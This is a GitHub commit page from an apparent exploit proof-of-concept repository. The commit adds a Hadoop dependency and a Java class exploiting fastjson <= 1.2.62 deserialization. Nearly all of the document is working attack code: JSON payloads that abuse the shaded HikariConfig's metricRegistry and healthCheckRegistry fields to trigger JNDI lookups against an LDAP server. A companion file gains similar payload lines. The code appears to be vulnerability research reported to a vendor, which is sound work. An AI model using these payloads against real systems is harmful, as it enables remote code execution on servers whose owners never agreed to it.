Skip to content

Commit 23b2ae7

Browse files
author
“threedr3am”
committed
Merge branch 'feat/new-hadoop-hikari-gadget-fastjson'
# Conflicts: # fastjson/pom.xml
2 parents 169d07c + 14e6c7c commit 23b2ae7

File tree

3 files changed

+43
-0
lines changed

3 files changed

+43
-0
lines changed

fastjson/pom.xml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -81,5 +81,12 @@
8181
<artifactId>Anteros-DBCP</artifactId>
8282
<version>1.0.1</version>
8383
</dependency>
84+
85+
<!-- https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-client-minicluster -->
86+
<dependency>
87+
<groupId>org.apache.hadoop</groupId>
88+
<artifactId>hadoop-client-minicluster</artifactId>
89+
<version>3.2.1</version>
90+
</dependency>
8491
</dependencies>
8592
</project>
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
package com.threedr3am.bug.fastjson;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.parser.ParserConfig;
5+
import com.threedr3am.bug.common.server.LdapServer;
6+
7+
/**
8+
* fastjson <= 1.2.62 RCE,需要开启AutoType (report by threedr3am to ASRC)
9+
*
10+
* <dependency>
11+
* <groupId>org.apache.hadoop</groupId>
12+
* <artifactId>hadoop-client-minicluster</artifactId>
13+
* <version>3.2.1</version>
14+
* </dependency>
15+
*
16+
* @author threedr3am
17+
*/
18+
public class HadoopHikariPoc {
19+
static {
20+
//rmi server示例
21+
// RmiServer.run();
22+
23+
//ldap server示例
24+
LdapServer.run();
25+
}
26+
27+
public static void main(String[] args) {
28+
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
29+
30+
String payload = "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:43658/Calc\"}";
31+
String payload2 = "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:43658/Calc\"}";
32+
JSON.parse(payload);
33+
}
34+
}

fastjson/src/main/java/com/threedr3am/bug/fastjson/HikariConfigPoc.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,9 @@ public static void main(String[] args) {
3333
ParserConfig.global.setAutoTypeSupport(true);
3434

3535
// String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://localhost:43657/Calc\"}";
36+
// String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"rmi://localhost:43657/Calc\"}";
3637
String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:43658/Calc\"}";
38+
String payload2 = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:43658/Calc\"}";
3739
JSON.parse(payload);
3840
}
3941
}

0 commit comments

Comments
 (0)